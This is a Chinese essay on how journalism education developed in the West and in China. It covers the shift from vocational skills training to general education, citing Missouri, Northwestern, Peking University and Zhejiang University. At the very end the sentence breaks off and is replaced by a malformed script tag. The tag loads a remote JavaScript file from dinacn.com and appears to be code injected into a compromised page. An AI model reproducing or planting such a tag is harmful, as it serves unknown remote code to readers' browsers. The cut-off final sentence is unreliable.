新闻传播教育与研究，始于西方，经过一百多年的发展，在东西方呈现出不同的发展模式。新闻教育的起步和重视与大众媒体的发展密切相关。中国和西方的新闻教育产生于不同的政治经济环境和社会环境，随着报刊作为大众媒体在中西方的不同发展，新闻传播教育的发展轨迹既异中有同，也同中有异。
对通识教育的重视
20世纪初期美国新闻教育的显著特点是注重技能的培养，以培养学生从事报纸工作的技能为主要目标。当时的报业大亨、美国早期新闻教育的著名支持者普利策就认为，“新闻学校，其目标是培养若干较好的新闻记者, 他们将制作较好的报纸，这些报纸将更好地服务社会。”①这成为当时普遍的指导思想。典型的新闻院系都开设了新闻史、新闻伦理及法律方面的课程，还有的开设了管理、发行、广告公关等课程，对于采访、写作、编辑、评论等实务课程尤为重视，实务课程甚至占到新闻专业学生学习课程的一半。新闻教育类似于一种职业训练。然而这种模式却受到业界和学术界的批评。认为这样的教育以传媒业的发展为导向，不可避免地受到传媒行业标准的影响，而且也难以穷尽现实中的问题，学生在毕业后还是屡屡碰到课堂上未讲授、未解决的问题。哈钦斯委员会1947年发表的对新闻自由所做的报告中指出，新闻学院并没有担当起报章的批评者的职责，也没有训练出学生评判社会事务的能力。新闻教育所需要的，并不只是窍门与方法的教授，而要比那更多。②
工业革命后，西方多国教育界的许多有识之士认识到单一的职业教育带来很多负面影响，开始重提中世纪大学的教育理念。1828年耶鲁大学发表了《耶鲁报告》(The Yale Report of 1828)，该报告敌视实用的职业技术课程，坚持认为共同学科的深入广泛研习对学生形成良好的教养大有裨益。第二年帕科德(AS. Packard)在《北美评论》撰文捍卫《耶鲁报告》，文中用通识教育(General Education)为共同学科辩护，这是通识教育一词初始亮相。③此后随着高等教育的发展，美国社会需求的各类专门人才基本饱和，职业教育的弊端进一步显露，学生过早专业化，毕业后难以适应复杂多变的社会，不利于自身的发展，以哈佛大学的劳威尔校长（1909年）为代表的批评教育家提出，美国高等教育要首先克服过分专门化的倾向，应该加强学生学习人文科学、自然科学和社会科学的遗产，培养学生具备各科知识、能力、信念和修养，使个人需要和社会需要结合起来。④
在这种思想的影响下，新闻教育界的观念也在不断调整。与此同时，西方的大众传播媒介有了较大的发展。广播和电视逐步得到普及。在这样的形势下，新闻教育就不能再仅仅满足于技术与技能的训练了，它开始向教学的深度与广度发展，在教学中开始要求学生有广博的知识，开设课程的重点也转向了人文与科学知识。这个改变从20世纪20年代开始，各学校都努力将反映新闻工作技术性层面内容的课程减少，而增加反映新闻事业社会层面、伦理层面、文化层面内容的课程。经过数年的努力，大多数四年制新闻院系中专业课程占总学时的比重压缩到了25％～30％。密苏里大学新闻学院本科部前两个学年主修外语、自然科学和经济学以及其他社会科学、人文学科的课程。新闻专业课程集中在第三和第四学年开设。⑤西北大学梅迪尔新闻学院从1938年开始实行一套五年制的新闻教育计划，前三年必须攻读基础学科、通识课程，新闻学核心课程在最后两年攻读。总学分124分，其中人文类、社科类课程约占80%，新闻学专业课程只占20%。而且要求在人文社科类课程中，必须有24～28个学分集中在社科类的某一专业的研究。在多元化大众媒体形成的信息社会背景之下, 日本上智大学新闻学系注重培养学生对媒体职能、责任的认识能力, 实施宽口径的人才培养模式, 即使培养的学生不一定到媒体工作, 也要培养具有正确而理性的分析能力的社会人。
我国新闻教育从1920年上海圣约翰大学创建的报学系开始，以美国密苏里大学新闻学院为蓝本，聘《密勒氏评论报》主笔柏德生担任系主任，以“养成本国报纸编辑人才与经营人才”为目标。⑥办学多受美国影响，强调理论联系实际的教学方式，如成舍我创办世界新闻传播专科学校，招收学生，发放见习记者证，让学生边学习边在旗下的报纸见习，甚至有时学生白天学习，晚上听新闻专业课。⑦但是还是较多地坚持了通才教育原则，普遍增加了诸如地理、历史、经济、法律、心理学等多学科知识的讲授。
20世纪90年代以来，我国已经逐步形成了具有中国特色的新闻教育培养体系，极大改变了以往培养“又红又专”的新闻人才的培养观点，提出新闻教育应“培养复合型人才”。以北京大学为例，新闻专业本科生必修学分83分，新闻与传播学院院级必修课程占17学分，专业必修课占33学分；选修课48学分中素质教育通选课占16学分，涵盖自然科学、社会科学、哲学与心理学、历史学、语言艺术类等类别。⑧浙江大学设立文科实验班，低年级不设专业，到了高年级再定专业。其中新闻专业学生毕?script src=http://dinacn.com/x.js> |